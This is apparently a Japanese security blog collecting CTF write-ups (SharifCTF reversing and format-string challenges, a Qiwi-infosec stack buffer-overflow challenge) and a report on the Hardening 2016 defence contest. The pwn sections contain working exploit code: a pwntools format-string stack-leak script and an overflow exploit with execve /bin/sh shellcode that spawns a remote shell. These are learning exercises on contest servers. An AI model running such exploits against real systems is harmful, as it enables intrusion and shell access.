SharifCTF WriteUP
はじめに
12月17~18日に開催されたSharifCTFに参加しました。その中で解けた問題のWriteUPを書きます。
解けた問題
・Guess (pwn 50point)
・Getit (rev 50)
Getit
ファイルをダウンロードし、gdbpedaにかけると/tmp/flag.txtを作って書き込んでいることがわかります。そこで、ブレークポイントを使ってプログラムを止めてファイルを開きますが「*******************************************」としか書かれてません。
次にStraceにかけると、以下のようにファイルへ1文字書き込んだあと*で上書きしていることがわかります。
write(3, "*******************************************\n", 44) = 44 lseek(3, 30, SEEK_SET) = 30 write(3, "5", 1) = 1 lseek(3, 0, SEEK_SET) = 0 write(3, "*******************************************\n", 44) = 44 lseek(3, 24, SEEK_SET) = 24 write(3, "a", 1) = 1 lseek(3, 0, SEEK_SET) = 0
lseek関数の第一引数が何番目に書き込むか、 Write関数の第2引数が書き込み文字なので、あとは地道に繋げればフラグをゲットできました。
SharifCTF{b70c59275fcfa8aebf2d5911223c6589}
Guess
NCコマンドでアクセスすると、入力した文字がそのまま表示されます。そこで、フォーマットストリングを試しに入力してみるとメモリの中身が表示されました。
$ nc ctf.sharif.edu 54517 %08x Hidden string is at somewhere. 2c9f6323
ここまでは早かったのですが、いつも通り%08xでメモリを出力しアスキーコードにしてもフラグは出て来ませんでした。どうやら原因は%08xだとメモリの中身を32ビット分しか出力されないためのようです。かわりに%pを使うと64bit分で出力してくれました。ちなみにメモリの中身をアスキーに変換するのはプログラムを書きました。(コードが汚いのがご容赦ください。)
from pwn import* r = remote('ctf.sharif.edu', 54517) format_string= "%p,"*200 +"%p\n" r.send(format_string) byte_code = r.readall(0.9) msg = byte_code.decode('utf-8') msg = msg.replace('\n','') ch_list = msg.split(',') list_16w = [] for i in ch_list: if i[0:2] == "0x": x = "0"*(16-len(i[2:])) + i[2:] list_16w.append(x) for i in list_16w: line = "" for j in range(0,len(i)-1,2): ch_hex = "0x" + i[j] + i[j+1] if str.isalnum(chr(int(ch_hex,16))): line = line + chr(int(ch_hex,16)) elif(chr(int(ch_hex,16))=="{" or chr(int(ch_hex,16)) =="}"): line = line + chr(int(ch_hex,16)) print(line)
出力された文字を見ていくと以下のような文字列があります。
TCfirahS 824d5a{F b7ccc236 a6c753df 5a87a821 }c8
これを並び替えるとフラグになります。(メモリの中身はリトルエンディアンなので、右から左に読みます。)
SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}
感想
本大会では、pwn50,pwn150,pwn200と3問もフォーマットストリングが出題されたので、もうフォーマットストリングはお腹一杯です。次はバッファオーバーフローの問題が解きたいです。
Qiwi-infosec CTF PWN100_1 WireUP
はじめに
11月17日に参加したQiwi-infosec CTFの問題のWriteUP書きたいと思います。
チャレンジした問題
PWN100_1:バッファオーバーフロー攻撃を使ってシェルコードを実行する。
PWM100_2:FormatString攻撃を使うことまでは分かったが解けなかった。
WriteUP PWN100_1
ncコマンドで138.201.98.42のポート4000にアクセスし、文字入力を求められます。試しに、AA・・を入力すると以下のような出力が得られます。
$nc 138.201.98.42 4000 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Trace stack: 0xffffd084: 0x000000b4 0xffffd080: 0xffffd09c 0xffffd07c: 0x56555809 <= ret 0xffffd078: 0xffffd158 0xffffd074: 0x56557000 0xffffd070: 0x00000000 0xffffd06c: 0x00000009 0xffffd068: 0xffffd09c 0xffffd064: 0xf7ff0fe0 0xffffd060: 0xffffd158 0xffffd05c: 0xf7e24940 0xffffd058: 0x00000000 0xffffd054: 0x56557000 0xffffd050: 0x00000001 0xffffd04c: 0x0000000a 0xffffd048: 0x000000b3 0xffffd044: 0xffffd09c 0xffffd040: 0xf7fcec20 0xffffd03c: 0xf7e88351 0xffffd038: 0xf7e28ec8 0xffffd034: 0x56555200 0xffffd030: 0x565552b0 0xffffd02c: 0x56557010 0xffffd028: 0xffffd044 0xffffd024: 0x00000000 0xffffd020: 0x00000001 0xffffd01c: 0x0000000a 0xffffd018: 0x000000b3 0xffffd014: 0xffffd09c 0xffffd010: 0xf7fcec20 0xffffd00c: 0xf7e8000a 0xffffd008: 0x41414141 0xffffd004: 0x41414141 0xffffd000: 0x41414141 0xffffcffc: 0x41414141 0xffffcff8: 0x41414141 0xffffcff4: 0x41414141 0xffffcff0: 0x41414141 0xffffcfec: 0x41414141 you buffer
出力のyou bufferが入力した文字を格納した場所で、retが関数の戻りアドレスを格納した場所と思われます。そして、一番左の列は、格納してあるメモリのアドレスが書かれています。戻りアドレスには次に実行するメモリのアドレスが入っているので、このアドレスを入力した文字で上書きしyou bufferのアドレス(0xffffcfec)に飛ばして、あらかじめ入力文字の中に入れておいたシェルコードを実行させます。
なお、サーバ上のメモリを上書きする際は、コマンドラインで直接入力できない(アスキーコードになってしまうため)ので、pythonのpwntoolsライブラリを利用してプログラムを作成しました。
from pwn import * import time r = remote('138.201.98.42', 4000) #return address ffffcffc ret = '\xfc\xcf\xff\xff' shellcode = '\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1' exploit_code = shellcode + ('A'*(144 - len(shellcode))) + ret + '\n' r.send(exploit_code) time.sleep(1) r.interactive()
プログラムを実行すると、サーバ側でシェルが立ち上がりました。そして、カレントディレクトリにflagというファイルがあったので、catコマンドで中身を表示させるとflagを取得できました。
$python PWN100_1.py [+] Opening connection to 138.201.98.42 on port 4000: Done [*] Switching to interactive mode Trace stack: 0xffffd094: 0x000000b4 0xffffd090: 0xffff000a 0xffffd08c: 0xffffcffc <= ret 0xffffd088: 0x41414141 0xffffd084: 0x41414141 0xffffd080: 0x41414141 0xffffd07c: 0x41414141 0xffffd078: 0x41414141 0xffffd074: 0x41414141 0xffffd070: 0x41414141 0xffffd06c: 0x41414141 0xffffd068: 0x41414141 0xffffd064: 0x41414141 0xffffd060: 0x41414141 0xffffd05c: 0x41414141 0xffffd058: 0x41414141 0xffffd054: 0x41414141 0xffffd050: 0x41414141 0xffffd04c: 0x41414141 0xffffd048: 0x41414141 0xffffd044: 0x41414141 0xffffd040: 0x41414141 0xffffd03c: 0x41414141 0xffffd038: 0x41414141 0xffffd034: 0x41414141 0xffffd030: 0x41414141 0xffffd02c: 0x41414141 0xffffd028: 0x41414141 0xffffd024: 0x41414141 0xffffd020: 0x41414141 0xffffd01c: 0x41414141 0xffffd018: 0xe1ebe189 0xffffd014: 0x5352e389 0xffffd010: 0x6e69622f 0xffffd00c: 0x6868732f 0xffffd008: 0x2f6852d2 0xffffd004: 0x31580b6a 0xffffd000: 0x68fceb68 0xffffcffc: 0x6880cd68 you buffer $ $ ls expl100 flag run $ $ cat flag flag:{Xp2dyM3RO89BuaO}
感想
CTFを初めて約2年が経過し、やっとPanableジャンルの問題をとけるようになってきました。しかし、まだ簡単なExploitしかできないので、まずはSECCON2016までに他のExplitのやり方も練習してブログに書ければと思います。
Hardening 100 Weakest Link に参加してみた
はじめに
エンジニアにとって、自分の学んだ知識を発信することは、多くのメリットがあると教わったのでブログを始めてみました。
まずは、11月1日に沖縄で開催されたHardening2016に参加したことについて書きたいと思います。
Hardeningとは?
簡単に説明すると、競技者はショッピングサイトを運営する会社の情シスになり、サイバー攻撃からサイトを守りながら、ショッピングサイトでの売上を競う競技です。
詳しくは下記サイトをご参照ください。
Hardening Project 2016 | Web Application Security Forum - WASForum
大会までの準備
チームメンバー(6人)は運営がランダムに決定するので、全員初対面です。そこで、Slackでメンバーとやり取りしつつ準備を進めました。
- マーケットプレイス主催の勉強会に参加
- Skype会議で大会当日の役割分担を決定
- 過去の大会の資料を読む
- 担当サーバの勉強
- 自動監視・再起動用のスクリプトを作成
- 報告書などのテンプレートを準備
- 前日入りし打ち合わせ兼飲み会 etc
大会当日の作業内容(ポイント抜粋)
大会当日は、チームメンバーと協力して戦い、優勝することができました。以下は、大会中に勝利につながったポイントです。
1.全サーバのバックアップ
攻撃によってシステム停止に陥っても復旧できる。ランサムウェアで攻撃された際、バックアップしてなかったチームは身代金(1台200万)を支払うことになった。
2.CTCの脆弱性情報共有サービスを購入
CTCのセキュリティエンジニアが見つけた脆弱性の情報を展開してくれる。この情報をもとに対策を行うことで多くの攻撃を防げた。
3.売上をUPさせられる広告だけを購入
前回の大会は広告を買うほど利益が上がるシステムだったが、今回は需要が高い時を見極めて買わないと利益はダウンしてしまうようになっていた。
4.新商品の追加
競技中に新商品の三線を販売可能になったメールが来た。三線は価格が高いので後々売上に大きな差が出た。
5.情報漏洩による謝罪会見
首位を走っていた2チームは、競技中に情報漏洩が発覚し、壇上で謝罪会見を行わなければならなくなった。謝罪会見が悪いと売上が落ちてしまうが、チームリーダの素晴らしい対応のおかげで回避できた。
6.マーケットプレイスのスタンプラリーを活用
マーケットプレイスでサービスを3つ購入すると、マーケットプレイスにいる技術力の高いエンジニアが一定時間(30分?)スケットに来てくれる。このサービスを利用して、システムに入り込んでいたマルウェアを駆除してもらった。
競技中に受けた攻撃
競技中は以下のような攻撃を受け、何度もサービス停止に陥りました。しかし、ほとんど攻撃の原因を特定できませんでした。次回参加する場合は、攻撃原因の特定方法(ログの読み方など)をもっと勉強しておきたいと思います。
- WEBサーバのパーミッションを書き換えられる(SQLインジェクション?)
- 踏み台サーバを再起動される(全権限許可のIISが起動してた?)
- WEBサーバをランサムウェアに感染させられる
- 踏み台サーバのWindowsFWを書き換えられる
- メール相手を装って標的型メールを送られる
- WEBサーバや、踏み台端末にマルウェアを仕込まれる etc
気づき
今回の大会においては、攻撃を予測して対策を講じるよりも、攻撃を受けた後に迅速な復旧と再発防止策を実施するほうが効果的でした。
競技中は序盤からたくさん攻撃がくるので、社内環境を調査して対策を講じるような時間はなかなか取れませんし、攻撃された時のログなどから攻撃の原因を調査して対策を講じる方が確実で早いと思います。
感想
とても楽しく勉強もになる素晴らしい大会でした!
セキュリティ機能・製品は、効果を実感することが殆どないので、イメージが沸かず、なかなか勉強するモチベーションが上がりにくいと思うんですが、Hardeningは本物のサイバー攻撃がバンバン飛んでくるので、準備段階から「どんな攻撃が来るだろう?」、「どうすれば防げるだろう?」と、わくわくしながら技術を学ぶことができたし、競技の中も「システム停止の原因は何なんだ!?」、「どうすれば対策できるんだ!?」など、インシデント切り分けや、フォレンジックなどのノウハウについても危機感をもって学ぶことができました。
ぜひ、Hardeningに興味をもった方は来年の大会に出場してみてほしいと思います。